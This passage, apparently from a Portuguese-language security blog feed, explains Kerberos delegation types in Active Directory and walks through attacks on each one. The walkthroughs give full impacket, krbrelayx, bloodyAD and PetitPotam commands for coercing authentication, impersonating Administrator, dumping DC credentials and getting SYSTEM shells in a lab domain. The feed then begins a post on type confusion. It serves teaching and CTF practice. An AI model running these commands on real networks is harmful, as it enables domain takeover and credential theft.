<li>Devido a flag do UAC <code>TRUSTED_TO_AUTH_FOR_DELEGATION</code>, o KDC ir&#xE1; emitir um ST com a flag <code>Forwardable</code>. &#xC9; importante mencionar que, sem a flag do UAC, o KDC ainda iria emitir o TGS, por&#xE9;m sem a flag <code>Forwardable</code>.</li>
<li>WebServer realiza agora a S2U4Proxy, atrav&#xE9;s do TGS obtido com S4U2Self para obter um ST v&#xE1;lido para SQL.</li>
<li>Quando o KDC recebe essa requisi&#xE7;&#xE3;o, ele checa se o WebServer tem permiss&#xE3;o de delega&#xE7;&#xE3;o para o SQL Server lendo o atributo <code>msDS-AllowedToDelegateTo</code> do WebServer</li>
<li>WebServer obt&#xE9;m o ST e agora pode se autenticar ao SQL Server (Outro detalhe importante aqui, o SPN do SQL Server permanece em texto claro no ST, tornando poss&#xED;vel uma modifica&#xE7;&#xE3;o para acessar outros servi&#xE7;os no servidor).</li>
</ul>
<p>Esse tipo de delega&#xE7;&#xE3;o &#xE9; essencial em ambientes h&#xED;bridos onde m&#xFA;ltiplos m&#xE9;todos de autentica&#xE7;&#xE3;o coexistem. Ela garante que mesmo os usu&#xE1;rios autenticados via NTLM ou outro protocolo possam ser representados no sistema Kerberos por servi&#xE7;os intermedi&#xE1;rios, com as devidas restri&#xE7;&#xF5;es.</p>
<h3 id="delega%C3%A7%C3%A3o-restrita-kerberos-only"><strong>Delega&#xE7;&#xE3;o Restrita (Kerberos Only)</strong></h3>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/6.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Aqui, assim como na <em>Transi&#xE7;&#xE3;o de Protocolos</em>, o servi&#xE7;o de destino tamb&#xE9;m ser&#xE1; guardado no atributo <code>msDS-AllowedToDelegateTo</code>, no entanto, a flag <code>TRUSTED_TO_AUTH_FOR_DELEGATION</code> do UAC n&#xE3;o ser&#xE1; atribuida.</p>
<p>Na <strong>Delega&#xE7;&#xE3;o Restrita Kerberos Only</strong>, o cliente deve estar autenticado diretamente via Kerberos para que a delega&#xE7;&#xE3;o ocorra. Aqui, o servi&#xE7;o intermedi&#xE1;rio n&#xE3;o precisa da transi&#xE7;&#xE3;o de protocolos, pois o cliente j&#xE1; forneceu um <em>TGT</em> v&#xE1;lido. O fluxo de delega&#xE7;&#xE3;o segue o processo normal: o cliente solicita seu <em>TGT</em>, e depois o <em>ST</em> (Service Ticket) atrav&#xE9;s de uma requisi&#xE7;&#xE3;o TGS para o servi&#xE7;o intermedi&#xE1;rio.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/constraineddeleg.jpg" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>O servi&#xE7;o intermedi&#xE1;rio, por sua vez, usa o <strong>S4U2Proxy</strong> para solicitar tickets adicionais para acessar outros servi&#xE7;os, mas apenas dentro das permiss&#xF5;es definidas. Esse modelo &#xE9; mais simples do que a transi&#xE7;&#xE3;o de protocolos, pois o processo j&#xE1; parte de uma autentica&#xE7;&#xE3;o Kerberos completa desde o in&#xED;cio.</p>
<h3 id="rbcd-resource-based-constrained-delegationdelega%C3%A7%C3%A3o-restrita-baseada-em-recursos"><strong>RBCD (Resource-Based Constrained Delegation) - Delega&#xE7;&#xE3;o Restrita Baseada em Recursos</strong></h3>
<p>A <strong>Delega&#xE7;&#xE3;o Restrita Baseada em Recursos (RBCD)</strong> foi introduzida como uma solu&#xE7;&#xE3;o mais flex&#xED;vel e segura para cen&#xE1;rios onde a delega&#xE7;&#xE3;o de autentica&#xE7;&#xE3;o &#xE9; necess&#xE1;ria. Ao contr&#xE1;rio da <strong>Delega&#xE7;&#xE3;o Restrita Tradicional</strong>, onde o servi&#xE7;o intermedi&#xE1;rio define a quais recursos ele pode delegar, na RBCD o controle &#xE9; transferido para o <strong>recurso de destino</strong>, permitindo que este defina quais servi&#xE7;os intermedi&#xE1;rios podem delegar em seu nome.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/7.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Diferente dos modelos anteriores, a RBCD descentraliza a configura&#xE7;&#xE3;o de delega&#xE7;&#xE3;o. Isso &#xE9; feito ao modificar o atributo <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> no objeto do servi&#xE7;o de destino, permitindo que ele controle os servi&#xE7;os intermedi&#xE1;rios que podem agir em nome de um usu&#xE1;rio. Este atributo cont&#xE9;m uma lista de contas de servi&#xE7;o que est&#xE3;o autorizadas a atuar em nome de outros usu&#xE1;rios.</p>
<p>Abaixo, podemos notar que o fluxo &#xE9; parecido com a Transi&#xE7;&#xE3;o de Protocolos. No entanto, alguns detalhes importantes.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/8.jpg" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Fluxo da Delega&#xE7;&#xE3;o Restrita baseada em Recursos.</p>
<ul>
<li>O User se autentica ao WebServer utilizando NTLM.</li>
<li>O WebServer utiliza S4U2Self para obter um ticket do KDC, no entanto, pela falta da flag UAC <code>TRUSTED_TO_AUTH_FOR_DELEGATION</code> o KDC devolve um ST sem a flag <code>Fowardable</code>.</li>
<li>WebServer realiza S4U2Proxy mesmo assim. O KDC observa que falta a flag <code>Forwardable</code>, ent&#xE3;o ele busca no atributo <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> no servi&#xE7;o de destino, ent&#xE3;o ele emite um ST v&#xE1;lido para o SQL Server.</li>
</ul>
<h2 id="ataques-em-delega%C3%A7%C3%B5es-kerberos"><strong>Ataques em Delega&#xE7;&#xF5;es Kerberos</strong></h2>
<p>Depois de entendermos como Delega&#xE7;&#xF5;es Kerberos funcionam, agora vamos para a parte divertida?!</p>
<p>Apenas um disclaimer, por conven&#xE7;&#xE3;o e gosto, todos os ataques ser&#xE3;o realizados a partir de um sistema <strong>linux</strong> que se encontra na mesma rede do AD. <em>Todos</em> os ataques podem ser replicados diretamente de um sistema <strong>windows</strong> com tools como <strong>Rubeus</strong> e <strong>KrbRelay</strong>, no entanto, eu n&#xE3;o cobrirei sintaxes das respectivas ferramentas nesse post.</p>
<p>Para demonstrar os ataques e como replic&#xE1;-los, caminharemos por <strong>diferentes cen&#xE1;rios</strong> para cada delega&#xE7;&#xE3;o, para ser algo din&#xE2;mico e n&#xE3;o repetitivo. Tamb&#xE9;m, essa parte ser&#xE1; direto ao ponto, tendo em vista que j&#xE1; foi apresentado todos os tipos de delega&#xE7;&#xE3;o detalhadamente.</p>
<h3 id="unconstrained-delegation-delega%C3%A7%C3%A3o-irrestrita"><em>Unconstrained Delegation (Delega&#xE7;&#xE3;o Irrestrita)</em></h3>
<h4 id="requisitos"><em>Requisitos</em></h4>
<ul>
<li>Controle sobre uma conta com privil&#xE9;gios de delega&#xE7;&#xE3;o irrestrita.</li>
<li>Permiss&#xF5;es para modificar o SPN dessa conta. (opcional)</li>
<li>Permiss&#xE3;o para adicionar registros DNS. (opcional)</li>
<li>Uma forma de conectar usu&#xE1;rios/vitmas de volta para n&#xF3;s.</li>
</ul>
<p>No cen&#xE1;rio que iremos explorar, possu&#xED;mos o controle sobre um objeto (User Account) com o privil&#xE9;gio de <em>SeEnableDelegationPrivilege</em>, que permite que um usu&#xE1;rio habilite a delega&#xE7;&#xE3;o em contas de servi&#xE7;o ou de computador, tornando poss&#xED;veis ataques de <em>Unconstrained Delegation</em>.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/9.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Toda conta de usu&#xE1;rio no Active Directory tem direito de criar at&#xE9; 10 machine accounts por padr&#xE3;o, isso pode ser visualizado com a ferramenta <a href="https://github.com/Pennyw0rth/NetExec%7Cnetexec?ref=blog.hackingclub.com">netexec</a>.</p>
<p><code>netexec ldap molonlabe.local -u Delegate -p &apos;password123!&apos; -M maq</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/10.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Agora que j&#xE1; vimos nossa permiss&#xE3;o e quota para cria&#xE7;&#xE3;o de m&#xE1;quinas, podemos come&#xE7;ar o processo de explora&#xE7;&#xE3;o.</p>
<p>Passos:</p>
<ol>
<li>Criar uma machine account.</li>
</ol>
<p>Primeiro, precisamos adicionar de fato uma machine account no AD. Para isso, utilizarei a ferramenta <code>addcomputer.py</code> da toolkit <a href="https://github.com/fortra/impacket%7Cimpacket?ref=blog.hackingclub.com">impacket</a>.</p>
<p><code>addcomputer.py molonlabe.local/delegate:&apos;password123!&apos; -computer-name malicious -computer-pass &apos;password123!&apos;</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/11.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol start="2">
<li>Atribuir unconstrained delegation para ela.</li>
</ol>
<p>Para isso, utilizarei uma tool chamada <a href="https://github.com/CravateRouge/bloodyAD%7CbloodyAD?ref=blog.hackingclub.com">bloodyAD</a>.</p>
<p><code>python3 /opt/bloodyAD/bloodyAD.py -u &apos;Delegate&apos; -d molonlabe.local -p &apos;password123!&apos; --host &apos;DC.molonlabe.local&apos; add uac &apos;malicious$&apos; -f TRUSTED_FOR_DELEGATION</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/12.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol start="3">
<li>Adicionar um SPN (service principal name) a m&#xE1;quina.</li>
</ol>
<p>Depois de todo o processo da explora&#xE7;&#xE3;o e obtermos as chaves Kerberos, podemos descriptografar tickets, mas para que as v&#xED;timas se autentiquem corretamente, precisamos garantir que o SPN (Service Principal Name) esteja vinculado &#xE0; conta comprometida. O SPN &#xE9; fundamental para que o DC associe a solicita&#xE7;&#xE3;o de autentica&#xE7;&#xE3;o &#xE0; conta correta. Se tivermos controle sobre uma conta com privil&#xE9;gios, podemos editar os atributos da conta comprometida e adicionar o SPN necess&#xE1;rio usando a ferramenta <code>addspn.py</code> do <a href="https://github.com/dirkjanm/krbrelayx/%7Ckrbrelayx?ref=blog.hackingclub.com">krbrelayx</a>, facilitando o ataque.</p>
<p>Agora uma curiosidade, machine accounts podem se auto setar SPN&apos;s, contanto que deem match com seu hostname ou SamAccountName, o que n&#xE3;o seria poss&#xED;vel. No entanto, podemos atrav&#xE9;s do atributo <code>msDS-AdditionalDnsHostName</code>, que tamb&#xE9;m possu&#xED;mos controle.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/13.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Agora temos o SPN <code>HOST/malicious.molonlabe.local</code> devidamente configurado.</p>
<ol start="4">
<li>Fazer um registro de DNS para o SPN da m&#xE1;quina, apontando-o para n&#xF3;s (atacante).</li>
</ol>
<p>Esse &#xE9; o passo mais simples, apenas precisamos apontar esse SPN para o nosso IP, fazendo um novo registro DNS. Para fazer isso, tamb&#xE9;m utilizaremos uma tool da suite <a href="https://github.com/dirkjanm/krbrelayx/%7Ckrbrelayx?ref=blog.hackingclub.com">krbrelayx</a>, chamada <code>dnstool.py</code></p>
<p><code>python3 /opt/krbrelayx/dnstool.py ldap://192.168.152.130 -u &apos;molonlabe.local\\Delegate&apos; -p &apos;password123!&apos; -dc-ip 192.168.152.130 -r malicious.molonlabe.local -d 192.168.152.146 -a add -dns-ip 192.168.152.130</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/14.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol start="5">
<li>For&#xE7;ar autentica&#xE7;&#xE3;o para obten&#xE7;&#xE3;o do ticket.</li>
</ol>
<p>Nesse passo precisamos obter tr&#xE1;fego vindo do AD. H&#xE1; diversas alternativas, como por exemplo ataques de MITM, DNS Spoofing/Poisoning, utilizando Responder, etc...</p>
<p>No entanto, usaremos coerce authentication com a ferramenta <a href="https://github.com/topotam/PetitPotam%7CPetitPotam?ref=blog.hackingclub.com">PetitPotam</a>.</p>
<p>Para esse ultimo passo, precisamos de uma esp&#xE9;cie de &quot;listener&quot;, para isso, utilizaremos a principal ferramenta da suite <a href="https://github.com/dirkjanm/krbrelayx/%7Ckrbrelayx?ref=blog.hackingclub.com">krbrelayx</a>, que &#xE9; a pr&#xF3;pria <code>krbrelayx.py</code>. Para que isso funcione, precisamos fornecer o hash do password do SPN, para que a tool possa decryptar o ticket.</p>
<pre><code>import hashlib
print(hashlib.new(&apos;md4&apos;, &apos;password123!&apos;.encode(&apos;utf-16le&apos;)).hexdigest())

</code></pre>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/15.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>No primeiro terminal:</p>
<p><code>python3 /opt/krbrelayx/krbrelayx.py -hashes 8119935c5f7fa5f57135620c8073aaca:8119935c5f7fa5f57135620c8073aaca</code></p>
<p>No segundo:</p>
<p><code>python3 PetitPotam.py malicious.molonlabe.local 192.168.152.130 -u delegate -p &apos;password123!&apos; -d molonlabe.local</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/16.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Assim, obtemos um ticket v&#xE1;lido do <code>DC$</code>, levando em vista que o mesmo tem DCSync como privil&#xE9;gio, podemos dumpar as credenciais com <code>secretsdump.py</code>.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/17.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<h3 id="constrained-delegationprotocol-transition-delega%C3%A7%C3%A3o-restrita"><em>Constrained Delegation - Protocol Transition (Delega&#xE7;&#xE3;o Restrita)</em></h3>
<h4 id="requisitos"><em>Requisitos</em></h4>
<ul>
<li>Controle sobre uma conta com privil&#xE9;gios de delega&#xE7;&#xE3;o restrita.</li>
</ul>
<p>Esse tipo de delega&#xE7;&#xE3;o &#xE9; a mais simples de atacar j&#xE1; que a extens&#xE3;o S4U facilita todo o fluxo.</p>
<ul>
<li>O nome do usu&#xE1;rio/cliente na request S4U2Self pode ser arbitr&#xE1;rio, uma vez que o KDC essencialmente confia no nome providenciado.</li>
<li>O valor do SPN no ST pode ser facilmente substitu&#xED;do, uma vez que &#xE9; texto claro.</li>
</ul>
<ol>
<li>Enumerar e achar a conta com constrained delegation</li>
</ol>
<p>Uma forma simples de fazer isso, &#xE9; usando a ferramenta <code>findDelegation.py</code> da suite <a href="https://github.com/fortra/impacket%7Cimpacket?ref=blog.hackingclub.com">impacket</a>.</p>
<p><code>findDelegation.py molonlabe.local/&apos;malicious$&apos;:&apos;password123!&apos;</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/18.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Vimos que a m&#xE1;quina <code>malicious$</code> (que controlamos), possui delega&#xE7;&#xE3;o constrained com protocol transition para o SPN <em>IISADMIN</em> do DC. No entanto, como eu falei acima, assim como o KDC ir&#xE1; confiar no nome que for inserido no S4U2Self, ele tamb&#xE9;m confiar&#xE1; no SPN que est&#xE1; em texto claro, ent&#xE3;o basicamente podemos mudar tudo do ticket.</p>
<ol start="2">
<li>Solicitar um ST como Administrator.</li>
</ol>
<p>Para isso, utilizaremos outra tool do <code>impacket</code> chamada <code>getST.py</code>, tamb&#xE9;m utilizada para silver tickets.</p>
<p><code>getST.py molonlabe.local/&apos;malicious$&apos;:&apos;password123!&apos; -impersonate Administrator -spn iisadmin/dc.molonlabe.local -altservice cifs,ldap,host -dc-ip 192.168.152.130</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/19.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Agora com um ticket v&#xE1;lido do Administrator, podemos simplesmente utilizar o <code>psexec</code> para obtermos uma shell com system no <code>Domain Controller</code>.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/20.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<h3 id="constrained-delegationkerberos-only-delega%C3%A7%C3%A3o-restrita"><em>Constrained Delegation - Kerberos Only (Delega&#xE7;&#xE3;o Restrita)</em></h3>
<p>Constrained Delegation com Kerberos Only possui um fluxo muito mais simples, no entanto, o ataque a esse tipo de delega&#xE7;&#xE3;o &#xE9; o ataque mais complexo/confuso de todos os tipos, detalharei bem para que todos possam entender.</p>
<h4 id="requisitos"><em>Requisitos</em></h4>
<ul>
<li>Ter controle sobre uma conta com constrained delegation (kerberos only).</li>
<li>Essa conta precisa ter um SPN ou ser uma machine account.</li>
<li>Quota para criar pelo menos uma machine account (ou ter controle sobre uma).</li>
<li>Entender os princ&#xED;pios de Resource Based Constrained Delegation.</li>
</ul>
<p>A extens&#xE3;o S4U n&#xE3;o funciona efetivamente nesse caso, uma vez que a primeira autentica&#xE7;&#xE3;o, NECESSITA de um ticket v&#xE1;lido, ou seja, n&#xE3;o da pra simplesmente forjar como fizemos anteriormente, ent&#xE3;o, mesmo que ele gerasse um ST, n&#xE3;o teria uma flag <code>Forwardable</code>.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/21.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>A&#xED; que entra a necessidade da compreens&#xE3;o de RBCD, pois precisamos explorar isso, para que podemos obter um ticket v&#xE1;lido e forwardable.</p>
<p>Nesse cen&#xE1;rio, possu&#xED;mos o controle sobre uma conta com constrained delegation (COM SPN) para o cifs do DC.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/23.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/22.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/24.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol>
<li>Precisamos criar uma machine account</li>
</ol>
<p><code>addcomputer.py molonlabe.local/svc_web:P4ssw0rd -dc-host dc.molonlabe.local -computer-name &apos;owned$&apos; -computer-pass &apos;password123!&apos;</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/25.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol start="2">
<li>Precisamos atribuir RBCD da machine account <code>owned$</code> para o SPN que temos controle <code>svc_web</code></li>
</ol>
<p><code>rbcd.py molonlabe.local/svc_web:&apos;P4ssw0rd&apos; -delegate-from &apos;owned$&apos; -delegate-to svc_web -action write</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/26.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Isso nos permitir&#xE1; gerar um ticket de Administrator forwardable para o SPN que controlamos.</p>
<ol start="3">
<li>Gerando ticket do Administrator para o SPN do nosso controle (IISADMIN/svc_web.molonlabe.local)</li>
</ol>
<p><code>getST.py molonlabe.local/&apos;owned$&apos;:&apos;password123!&apos; -impersonate Administrator -spn iisadmin/svc_web.molonlabe.local:443</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/27.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>Perceba que agora possu&#xED;mos a flag <code>Forwardable</code>, e tendo como destino um SPN do nosso controle.</p>
<ol start="4">
<li>Podemos ent&#xE3;o utilizar o S4U2Proxy com o ST v&#xE1;lido e <code>Forwardable</code> para o destino que temos permiss&#xE3;o de delega&#xE7;&#xE3;o, e novamente, como o SPN no ticket &#xE9; em texto claro, podemos modificar e adicionar outros.</li>
</ol>
<p><code>getST.py molonlabe.local/svc_web:&apos;P4ssw0rd&apos; -additional-ticket &apos;Administrator@iisadmin_svc_web.molonlabe.local:443@MOLONLABE.LOCAL.ccache&apos; -impersonate Administrator -spn cifs/DC.molonlabe.local -altservice host,ldap,http</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/28.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>E assim, obtemos shell como system no domain controller.</p>
<h3 id="resource-based-constrained-delegationrbcd"><em>Resource Based Constrained Delegation - RBCD</em></h3>
<h4 id="requisitos"><em>Requisitos</em></h4>
<ul>
<li>Permiss&#xE3;o para alterar o atributo <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> de um objeto.</li>
<li>Controlar um SPN ou permiss&#xE3;o de criar uma machine account.</li>
</ul>
<p>No cen&#xE1;rio atual, temos controle sobre uma conta com permiss&#xF5;es de escrita em uma machine account</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/29.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/30.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>O processo de explora&#xE7;&#xE3;o de RBCD &#xE9; parecido com o processo que fizemos anteriormente no passo 1, 2 e 3.</p>
<ol>
<li>Adicionando uma machine account para setarmos RBCD para obtermos um ticket v&#xE1;lido de Administrator</li>
</ol>
<p><code>addcomputer.py molonlabe.local/it_user:&apos;P4ssw0rd123!&apos; -dc-host dc.molonlabe.local -computer-name &apos;rbcd$&apos; -computer-pass &apos;password123!&apos;</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/31.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol start="2">
<li>Configurando RBCD na m&#xE1;quina <code>WRK-01$</code> vindo de <code>rbcd$</code></li>
</ol>
<p><code>rbcd.py molonlabe.local/it_user:&apos;P4ssw0rd123!&apos; -delegate-from &apos;rbcd$&apos; -delegate-to &apos;WRK-01$&apos; -action write</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/32.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ol start="3">
<li>Obtendo um ticket de administrator para a workstation <code>WRK-01$</code></li>
</ol>
<p><code>getST.py molonlabe.local/&apos;rbcd$&apos;:&apos;password123!&apos; -impersonate Administrator -spn cifs/wrk-01.molonlabe.local</code></p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/33.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"><br>
<img src="https://blog.hackingclub.com/content/images/2024/10/34.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>E assim, obtemos system na workstation <code>WRK-01$</code> explorando com sucesso RBCD.</p>
<h2 id="conclus%C3%A3o"><strong>Conclus&#xE3;o</strong></h2>
<p>H&#xE1; v&#xE1;rias maneiras de realizar a <em>Delega&#xE7;&#xE3;o Kerberos</em>, que trazem funcionalidades e resolvem diversos problemas que anteriormente existiam, permitindo que servi&#xE7;os intermedi&#xE1;rios atuem em nome de um usu&#xE1;rio para acessar recursos de rede. No entanto, com toda essa funcionalidade, cada tipo de delega&#xE7;&#xE3;o tem suas fraquezas, que podem ser facilmente exploradas em ambientes mal configurados.</p>
<p>A delega&#xE7;&#xE3;o irrestrita de modo geral &#xE9; a mais cr&#xED;tica, permitindo que a delega&#xE7;&#xE3;o seja feita para a rede toda. Por mais que outras delega&#xE7;&#xF5;es venham com o objetivo de melhorar a seguran&#xE7;a, se mal configuradas tamb&#xE9;m se tornam um grande vetor ataque, principalmente quando o assunto &#xE9; elevar os privil&#xE9;gios dentro de um ambiente AD.</p>
<p>Esse &#xE9; um post de fato extensivo, no entanto eu espero que ao chegar aqui, voc&#xEA; entenda melhor sobre delega&#xE7;&#xF5;es kerberos e como atac&#xE1;-las. Agora voc&#xEA; est&#xE1; pronto para colocar a m&#xE3;o na massa! De desafio para voc&#xEA; eu deixo como sugest&#xE3;o uma m&#xE1;quina da plataforma <a href="https://app.hackingclub.com/?ref=blog.hackingclub.com">HackingClub</a> que aborda o tipo de delega&#xE7;&#xE3;o mais desafiador de explorar. A m&#xE1;quina <a href="https://app.hackingclub.com/laboratory/competition-machines/211?ref=blog.hackingclub.com">Strength</a> vai te desafiar a explorar o modo de delega&#xE7;&#xE3;o mais complexo, <em>constrained delegation kerberos only</em>!</p>
<p>Voc&#xEA; pode acess&#xE1;-la diretamente <a href="https://app.hackingclub.com/laboratory/competition-machines/211?ref=blog.hackingclub.com">aqui</a>.</p>
<h2 id="refer%C3%AAncias"><em>Refer&#xEA;ncias</em></h2>
<p><a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/?ref=blog.hackingclub.com">https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/</a><br>
<a href="http://msdn.microsoft.com/enus/library/cc233855.aspx?ref=blog.hackingclub.com">http://msdn.microsoft.com/enus/library/cc233855.aspx</a><br>
<a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/?ref=blog.hackingclub.com">https://www.thehacker.recipes/ad/movement/kerberos/delegations/</a></p>
]]></content:encoded></item><item><title><![CDATA[Type Confusion em Aplicações Web e seus Impactos em Segurança]]></title><description><![CDATA[<p><strong>Type Confusion</strong> &#xE9; uma vulnerabilidade explorada em cen&#xE1;rios de <strong>Cyber Security</strong>, <strong>Web Hacking</strong> e desafios de <strong>CTF (Capture The Flag)</strong> que afeta aplica&#xE7;&#xF5;es desenvolvidas com linguagens de tipagem din&#xE2;mica. Esse vetor de ataque ocorre quando o interpretador trata um objeto como sendo de</p>]]></description><link>https://blog.hackingclub.com/type-confusion-attack/</link><guid isPermaLink="false">66d09c57d72df2000162a12f</guid><category><![CDATA[type confusion]]></category><category><![CDATA[exploit]]></category><category><![CDATA[xss]]></category><dc:creator><![CDATA[Maiky Jhony]]></dc:creator><pubDate>Fri, 27 Sep 2024 17:41:38 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/type_-HC_BLOG-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/type_-HC_BLOG-2.jpg" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"><p><strong>Type Confusion</strong> &#xE9; uma vulnerabilidade explorada em cen&#xE1;rios de <strong>Cyber Security</strong>, <strong>Web Hacking</strong> e desafios de <strong>CTF (Capture The Flag)</strong> que afeta aplica&#xE7;&#xF5;es desenvolvidas com linguagens de tipagem din&#xE2;mica. Esse vetor de ataque ocorre quando o interpretador trata um objeto como sendo de um tipo diferente do originalmente esperado, possibilitando comportamentos inesperados, bypass de valida&#xE7;&#xF5;es e at&#xE9; execu&#xE7;&#xE3;o de c&#xF3;digo malicioso.</p><p>Para compreender como essa falha surge em aplica&#xE7;&#xF5;es web modernas, &#xE9; essencial revisar os conceitos de <strong>tipagem din&#xE2;mica</strong> e <strong>tipagem est&#xE1;tica</strong>, j&#xE1; que esses modelos definem como as linguagens gerenciam tipos de vari&#xE1;veis em tempo de compila&#xE7;&#xE3;o e execu&#xE7;&#xE3;o &#x2014; base fundamental para explorar e mitigar cen&#xE1;rios de <strong>Type Confusion</strong>.</p><h3 id="tipagem-din%C3%A2mica-x-tipagem-est%C3%A1tica">Tipagem din&#xE2;mica x Tipagem est&#xE1;tica</h3><p>Na tipagem din&#xE2;mica, os tipos das vari&#xE1;veis s&#xE3;o determinados e atualizados em tempo de execu&#xE7;&#xE3;o, ao contr&#xE1;rio da tipagem est&#xE1;tica, onde os tipos s&#xE3;o definidos em tempo de compila&#xE7;&#xE3;o.</p><h3 id="tipagem-din%C3%A2mica">Tipagem Din&#xE2;mica</h3><p>JavaScript usa tipagem din&#xE2;mica, o que significa que a vari&#xE1;vel &apos;x&apos; n&#xE3;o possui um tipo est&#xE1;tico e, portanto, pode assumir qualquer tipo. Pode ser undefined, object, boolean, string, array, etc.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/javascript-example-dynamic.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1140" height="427" 